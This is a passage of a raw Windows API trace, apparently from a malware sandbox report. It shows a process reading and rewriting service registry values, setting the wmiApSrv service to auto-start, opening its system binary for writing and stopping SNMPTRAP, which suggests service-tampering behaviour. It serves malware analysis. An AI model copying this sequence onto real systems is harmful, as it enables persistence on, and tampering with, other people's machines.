RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.587] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.587] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.588] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.588] RegCloseKey (hKey=0xc4) returned 0x0 [0253.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.589] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.589] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.589] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.589] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.589] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.589] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.589] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.590] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.590] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.594] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.595] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.595] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.595] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.595] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.595] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.595] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.595] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.595] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.596] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.596] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.596] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.596] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.596] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.596] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.596] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.596] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.596] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.596] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.596] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.596] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.597] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.597] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.597] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.597] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.597] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.597] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.597] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.597] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.597] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.597] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.597] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.598] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0253.599] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.600] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0253.600] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0253.600] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0253.600] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0253.600] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0253.600] LocalFree (hMem=0x7f03d0) returned 0x0 [0253.600] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0253.601] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x803990 [0253.601] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0253.602] CloseServiceHandle (hSCObject=0x803990) returned 1 [0253.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0253.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0253.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0253.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0253.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0253.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.603] RegCloseKey (hKey=0xc4) returned 0x0 [0253.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0253.603] RegCloseKey (hKey=0x14c) returned 0x0 [0253.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0253.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0253.603] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0253.603] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.603] GetLastError () returned 0x20 [0253.603] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0253.604] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0253.604] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0253.604] OpenServiceW (hSCManager=0x803918, lpServiceName="SNMPTRAP", dwDesiredAccess=0x20) returned 0x8038a0 [0253.604] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0253.605] GetLastError () returned 0x425 [0253.605] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0253.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0253.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) 